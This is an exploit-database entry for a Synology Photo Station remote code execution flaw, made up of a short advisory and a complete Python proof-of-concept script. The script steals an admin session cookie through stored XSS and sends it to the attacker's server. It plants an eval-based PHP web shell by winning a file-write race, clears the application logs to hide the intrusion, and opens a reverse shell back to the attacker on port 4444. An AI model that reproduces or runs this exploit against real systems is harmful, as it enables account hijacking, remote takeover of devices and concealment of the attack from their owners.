Synology Photo Station 6.8.2-3461 SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution

2018.01.16
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CVE: N/A

#!/usr/local/bin/python """ Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability Found by: mr_me Tested: 6.8.2-3461 (latest at the time) # Summary: ========== This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user. # Example: ========== saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0 Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability mr_me (+) waiting for the admin... (+) stolen: qt4obchbqfss2ap9ct9nb1i534 (+) updated the settings! (+) wrote php code! (+) attempting race condition... (+) won the race! (+) rce is proven! (+) deleted the image and scrubbed the logs! (+) starting handler on port 4444 (+) connection from 192.168.100.9 (+) pop thy shell! id uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation) """ import sys import socket import requests import telnetlib from threading import Thread from base64 import b64encode as b64e from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler try: import netifaces as ni except: print "(-) try 'pip install netifaces'" sys.exit(1) # haven't pwned yet pwned = False class xss(BaseHTTPRequestHandler): def log_message(self, format, *args): return def do_GET(self): global s # incase the referer isn't set, its coming from someone else try: referer = self.headers.get('Referer') except: referer = "" # of course this isn't bullet proof, but its enough for a poc if t in referer: if "PHPSESSID" in self.path: s = self.path.split("=")[1] print "(+) stolen: %s" % s pwned = True self.send_response(200) self.end_headers() return def _build_bd(raw=False): php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif" if raw == True: return php return "photo_2f_%s" % (php.encode("hex")) def we_can_set_settings(target, session): uri = "http://%s/photo/admin/share_setting.php" % target d = { "action" : "set_setting", "social_flickr" : "on", "share_upload_orig" : "on" } c = { "PHPSESSID" : session } r = requests.post(uri, data=d, cookies=c).json() if "success" in r: if r["success"] == True: return True return False def we_can_upload(target, session): uri = "http://%s/photo/webapi/file.php" % (target) p = { "SynoToken" : session } c = { "PHPSESSID" : session } # valid gif, important gif = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00" gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c" gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02" f = { "original": ("si.gif", gif) } d = { "api": "SYNO.PhotoStation.File", "method" : "uploadphoto", "version" : 1, "dest_folder_path": "", "duplicate" : "rename", "mtime": "1513540164787", "filename" : _build_bd(True) } r = requests.post(uri, params=p, files=f, cookies=c, data=d).json() if "success" in r: if r["success"] == True: return True return False def race(target): r = "" while("done" not in r): r = requests.get("http://%s/photo/pwn.php" % target).text return True def we_won_race(target, session, racing_thread): while(racing_thread.isAlive()): uri = "http://%s/photo/SocialNetwork/flickr.php" % target d = { "prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php", "action" : "multi_upload", "token" : 1, "secret" : "", "photoList" : _build_bd() } c = { "PHPSESSID": session } requests.post(uri, cookies=c, data=d) return True def build_php_code(): phpkode = (""" @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""") phpkode += ("""$dis=@ini_get('disable_functions');""") phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""") phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """) phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """) phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """) phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""") phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""") phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """) phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""") phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """) phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """) phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """) phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """) phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """) phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """) phpkode += ("""$o=ob_get_contents();ob_end_clean(); """) phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """) phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """) phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """) phpkode += ("""$nofuncs='no exec functions'; """) phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """) phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port)) phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """) phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """) phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """) phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port)) phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """) phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """) phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """) phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """) phpkode += ("""}@socket_close($s);} """) return phpkode def exec_code(target): handlerthr = Thread(target=handler, args=(cb_port,)) handlerthr.start() we_can_exec_php(target, b64e(build_php_code())) def handler(lport): print "(+) starting handler on port %d" % lport t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def we_can_exec_php(target, php): h = { "SIN" : php } r = requests.get("http://%s/photo/si.php" % target, headers=h) if r.text == "pwn": return True return False def we_can_clean_up(target, session): uri = "http://%s/photo/webapi/photo.php" % target d = { "api": "SYNO.PhotoStation.Photo", "method" : "delete", "version" : 1, "id" : _build_bd() } c = { "PHPSESSID" : session } h = { "X-SYNO-TOKEN" : session } r = requests.post(uri, cookies=c, data=d, headers=h).json() if "success" in r: if r["success"] == True: return True return False def banner(): return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n""" def do_xss(target, ip): j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip d = { "api" : "SYNO.PhotoStation.Auth", "method" : "login", "version" : 1, "username" : j, "password" : "WAT", "enable_syno_token" : "true" } r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json() def we_can_clear_logs(target, session): c = { "PHPSESSID" : session } p = { "SynoToken" : session } d = { "api": "SYNO.PhotoStation.PhotoLog", "method" : "clear", "version" : 1, } r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json() if "success" in r: if r["success"] == True: return True return False def start_pain_train(t, s): if we_can_set_settings(t, s): print "(+) updated the settings!" if we_can_upload(t, s): print "(+) wrote php code!" print "(+) attempting race condition..." r = Thread(target=race, args=(t,)) r.start() if we_won_race(t, s, r): print "(+) won the race!" if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')): print "(+) rce is proven!" if we_can_clean_up(t, s) and we_can_clear_logs(t, s): print "(+) deleted the image and scrubbed the logs!" exec_code(t) def keep_running(): if pwned == True: return False return True def main(): print banner() global cb_host, cb_port, s, t if len(sys.argv) != 3: print "(+) usage: %s <target> <interface>" % sys.argv[0] print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0] sys.exit(1) s = "" t = sys.argv[1] cb_port = 4444 try: cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr'] except: print "(-) no ip address associated with that interface!" sys.exit(1) do_xss(t, cb_host) try: server = HTTPServer(('0.0.0.0', 9090), xss) print '(+) waiting for the admin...' while keep_running(): server.handle_request() except KeyboardInterrupt: print '(+) shutting down the web server' server.socket.close() if s != "": start_pain_train(t, s) if __name__ == "__main__": main()


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